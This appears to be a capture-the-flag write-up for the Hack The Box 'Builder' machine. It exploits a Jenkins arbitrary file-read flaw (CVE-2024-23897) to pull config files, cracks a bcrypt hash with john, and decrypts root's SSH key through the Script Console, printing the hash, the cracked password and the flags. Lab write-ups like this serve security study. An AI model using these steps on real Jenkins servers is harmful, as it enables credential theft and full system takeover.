Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
└─$ nmap -sC -sV -oA nmap/builder 10.10.11.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 22:59 EDT
Nmap scan report for 10.10.11.10
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75🇩🇪4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
8080/tcp open http Jetty 10.0.18
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Jetty(10.0.18)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
So basically there are 2 ports that are open, that is, 22
and 8080
User Flag
On port 8080 we have Jenkins service running and it’s version is 2.441

From quick googling, I found that it has CVE-2024-23897 - https://www.exploit-db.com/exploits/51993 → we can able to read file on server.
Download this file and test it with /etc/passwd

Interested in learning more about this vulnerability? Here → https://www.jenkins.io/security/advisory/2024-01-24/
Now, in order to check environment variables, we can use /proc/self/environ
file.
1
2
3
4
|
> /proc/self/environ
HOSTNAME=0f52c222a4ccJENKINS_UC_EXPERIMENTAL=https://updates.jenkins.io/experimentalJAVA_HOME=/opt/java/openjdkJENKINS_INCREMENTALS_REPO_MIRROR=https://repo.jenkins-ci.org/incrementalsCOPY_REFERENCE_FILE_LOG=/var/jenkins_home/copy_refer
ence_file.logPWD=/JENKINS_SLAVE_AGENT_PORT=50000JENKINS_VERSION=2.441HOME=/var/jenkins_homeLANG=C.UTF-8JENKINS_UC=https://updates.jenkins.ioSHLVL=0JENKINS_HOME=/var/jenkins_homeREF=/usr/share/jenkins/refPATH=/opt/java/openjdk/bin:/usr/l
ocal/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
Now that we know the home directory, we can get the user flag.
1
2
|
> /var/jenkins_home/user.txt
725ca98881930e7627e470c7e9855880
|
Root Flag
Now, in order to enumerate more in the machine, we need to know what is the file structure of Junkins, that is why I have pulled Jenkins images from docker and navigate path in my local machine in order to gain understanding of different files and folders.
Firstly, we have to run docker in one tab using sudo docker run -p 8080:8080 --restart=on-failure jenkins/jenkins:lts-jdk17
and then on other tab, we can start the container - sudo docker exec -it <id> /bin/sh
- we will get <id>
from docker ps
File Structure from local file just for understanding. So basically here there is users folder and in that folder, there is users.xml
file in which it contains the user information of Jenkins. When we read file, we found it has admin
and the another name admin_14267207368007926863
which is indeed another directory and then after going in that directory we found config.xml
in which there is the password for admin
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$ cd /var/jenkins_home
$ ls
config.xml copy_reference_file.log failed-boot-attempts.txt hudson.model.UpdateCenter.xml jenkins.telemetry.Correlator.xml jobs nodeMonitors.xml plugins secret.key secret.key.not-so-secret secrets userContent users war
$ cd users
$ ls
admin_14267207368007926863 users.xml
$ cat users.xml
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.UserIdMapper>
<version>1</version>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>admin</string>
<string>admin_14267207368007926863</string>
</entry>
</idToDirectoryNameMap>
</hudson.model.UserIdMapper>
$ cd admin_14267207368007926863
$ ls
config.xml
|
So, we will do same thing HTB’s machine.
1
2
3
4
5
6
7
8
9
10
11
12
|
> /var/jenkins_home/users/users.xml
<?xml version='1.1' encoding='UTF-8'?>
<string>jennifer_12108429903186576833</string>
<idToDirectoryNameMap class="concurrent-hash-map">
<entry>
<string>jennifer</string>
<version>1</version>
</hudson.model.UserIdMapper>
</idToDirectoryNameMap>
<hudson.model.UserIdMapper>
</entry>
File to download:
|
We found, there is a user named as jennifer
and the directory name is jennifer_12108429903186576833
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
> var/jenkins_home/users/jennifer_12108429903186576833/config.xml [22/49]
<hudson.tasks.Mailer_-UserProperty plugin="mailer@463.vedf8358e006b_">
<hudson.search.UserSearchProperty>
<roles>
<jenkins.security.seed.UserSeedProperty>
</tokenStore>
</hudson.search.UserSearchProperty>
<timeZoneName></timeZoneName>
<properties>
<jenkins.security.LastGrantedAuthoritiesProperty>
<flags/>
<hudson.model.MyViewsProperty>
</user>
</jenkins.security.ApiTokenProperty>
<views>
<string>authenticated</string>
<org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.200.vb_9327d658781">
<user>
<name>all</name>
<description></description>
<emailAddress>jennifer@builder.htb</emailAddress>
<collapsed/>
</jenkins.security.seed.UserSeedProperty>
</org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
</hudson.model.MyViewsProperty>
<domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"/>
<filterQueue>false</filterQueue>
<jenkins.security.ApiTokenProperty>
<primaryViewName></primaryViewName>
</views>
</hudson.model.TimeZoneProperty>
<com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@1319.v7eb_51b_3a_c97b_">
</hudson.model.PaneStatusProperties>
</hudson.tasks.Mailer_-UserProperty>
<tokenList/>
<jenkins.console.ConsoleUrlProviderUserProperty/>
</hudson.model.AllView>
<timestamp>1707318554385</timestamp>
<owner class="hudson.model.MyViewsProperty" reference="../../.."/>
</properties>
</jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
</com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
<hudson.security.HudsonPrivateSecurityRealm_-Details>
<insensitiveSearch>true</insensitiveSearch>
<properties class="hudson.model.View$PropertyList"/>
<hudson.model.TimeZoneProperty>
<hudson.model.AllView>
</hudson.security.HudsonPrivateSecurityRealm_-Details>
<providerId>default</providerId>
</roles>
</jenkins.security.LastGrantedAuthoritiesProperty>
<jenkins.model.experimentalflags.UserExperimentalFlagsProperty>
<hudson.model.PaneStatusProperties>
<?xml version='1.1' encoding='UTF-8'?>
<fullName>jennifer</fullName>
<seed>6841d11dc1de101d</seed>
<id>jennifer</id>
<version>10</version>
<tokenStore>
<filterExecutors>false</filterExecutors>
<io.jenkins.plugins.thememanager.ThemeUserProperty plugin="theme-manager@215.vc1ff18d67920"/>
<passwordHash>#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a</passwordHash>
File to download:
|
In config.php
we found this passwordHash - #jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a
Store this hash in user.hash
and then using john
we can get the password.
1
2
3
4
5
6
7
|
john --wordlist=/usr/share/wordlists/rockyou.txt user.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (#jbcrypt)
|
User |
Password |
jennifer |
princess |
Now that I have user and password, I tried to login with SSH, but no luck. Next logical step will be to login with this creds from Jenkin’s Instance on web.
After messing around with in the dashboard, I found Credentials tab in Manage Jenkins, in that there is a cred for root. On navigating the file, we can see something like this,

The key is Concealed for Confidentiality
. However in the source code we can able to see the private key.
1
|
{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}
|
I tried to decrypt with base64 encoding, but it is encrypted. I found this answer to decrypt the private key → https://stackoverflow.com/a/37683492
Go to “Manage Jenkins” from Dashboard → “Script Console” on bottom — here we can able to run scripts — we also can get reverse shell using script console. Anyway, as of now, we will focus on decrypting our privatekey. Use this command to get the private ssh keys → println( hudson.util.Secret.decrypt("ENCRYPTED_PASSPHRASE_OR_PASSWORD") )

Save this private key into the filename key
, change the permission to 600
and login with ssh
.

We got the flag.
1
2
|
root@builder:~# cat root.txt
e312ca26bd37fcbad7bd5f74ce90e78a
|